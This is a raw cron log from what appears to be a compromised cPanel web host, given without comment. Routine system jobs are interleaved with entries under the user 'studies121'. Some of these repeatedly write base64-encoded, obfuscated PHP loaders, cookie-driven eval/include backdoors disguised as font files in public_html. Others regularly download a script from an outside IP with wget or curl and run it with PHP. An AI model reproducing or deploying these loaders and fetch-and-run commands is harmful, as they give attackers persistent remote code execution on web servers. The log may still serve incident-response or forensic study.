Sep  4 01:31:02 ip-184-168-122-23 CROND[29047]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 01:31:02 ip-184-168-122-23 CROND[29049]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 01:31:02 ip-184-168-122-23 CROND[29048]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 01:31:02 ip-184-168-122-23 CROND[29052]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  4 01:32:01 ip-184-168-122-23 CROND[29131]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 01:32:01 ip-184-168-122-23 CROND[29133]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 01:32:01 ip-184-168-122-23 CROND[29134]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 01:32:01 ip-184-168-122-23 CROND[29135]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 01:32:01 ip-184-168-122-23 CROND[29136]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 01:33:01 ip-184-168-122-23 CROND[29224]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 01:33:01 ip-184-168-122-23 CROND[29225]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 01:33:01 ip-184-168-122-23 CROND[29228]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 01:33:01 ip-184-168-122-23 CROND[29229]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 01:34:01 ip-184-168-122-23 CROND[29380]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 01:34:01 ip-184-168-122-23 CROND[29382]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 01:34:01 ip-184-168-122-23 CROND[29384]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 01:34:01 ip-184-168-122-23 CROND[29383]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 01:34:01 ip-184-168-122-23 CROND[29386]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 01:35:01 ip-184-168-122-23 CROND[29486]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  4 01:35:01 ip-184-168-122-23 CROND[29491]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 01:35:01 ip-184-168-122-23 CROND[29490]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 01:35:01 ip-184-168-122-23 CROND[29493]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 01:35:01 ip-184-168-122-23 CROND[29492]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 01:35:01 ip-184-168-122-23 CROND[29494]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  4 01:35:01 ip-184-168-122-23 CROND[29495]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 01:35:01 ip-184-168-122-23 CROND[29497]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 01:36:01 ip-184-168-122-23 CROND[29584]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 01:36:01 ip-184-168-122-23 CROND[29586]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 01:36:01 ip-184-168-122-23 CROND[29589]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 01:36:01 ip-184-168-122-23 CROND[29588]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 01:36:01 ip-184-168-122-23 CROND[29587]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 01:37:02 ip-184-168-122-23 CROND[29669]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 01:37:02 ip-184-168-122-23 CROND[29672]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 01:37:02 ip-184-168-122-23 CROND[29673]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 01:37:02 ip-184-168-122-23 CROND[29671]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 01:38:01 ip-184-168-122-23 CROND[29744]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 01:38:01 ip-184-168-122-23 CROND[29747]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 01:38:01 ip-184-168-122-23 CROND[29745]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 01:38:01 ip-184-168-122-23 CROND[29750]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 01:38:01 ip-184-168-122-23 CROND[29753]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 01:39:01 ip-184-168-122-23 CROND[29829]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 01:39:01 ip-184-168-122-23 CROND[29830]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 01:39:01 ip-184-168-122-23 CROND[29832]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  4 01:39:01 ip-184-168-122-23 CROND[29835]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 01:39:01 ip-184-168-122-23 CROND[29834]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 01:40:01 ip-184-168-122-23 CROND[30018]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 01:40:01 ip-184-168-122-23 CROND[30017]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 01:40:01 ip-184-168-122-23 CROND[30021]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 01:40:01 ip-184-168-122-23 CROND[30022]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 01:40:01 ip-184-168-122-23 CROND[30023]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 01:40:01 ip-184-168-122-23 CROND[30024]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  4 01:40:01 ip-184-168-122-23 CROND[30027]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 01:40:01 ip-184-168-122-23 CROND[30025]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 01:41:01 ip-184-168-122-23 CROND[30127]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 01:41:01 ip-184-168-122-23 CROND[30128]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 01:41:01 ip-184-168-122-23 CROND[30130]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 01:41:01 ip-184-168-122-23 CROND[30129]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 01:42:01 ip-184-168-122-23 CROND[30220]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 01:42:01 ip-184-168-122-23 CROND[30222]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 01:42:01 ip-184-168-122-23 CROND[30223]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 01:42:01 ip-184-168-122-23 CROND[30224]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 01:42:01 ip-184-168-122-23 CROND[30225]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 01:43:01 ip-184-168-122-23 CROND[30320]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 01:43:01 ip-184-168-122-23 CROND[30321]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
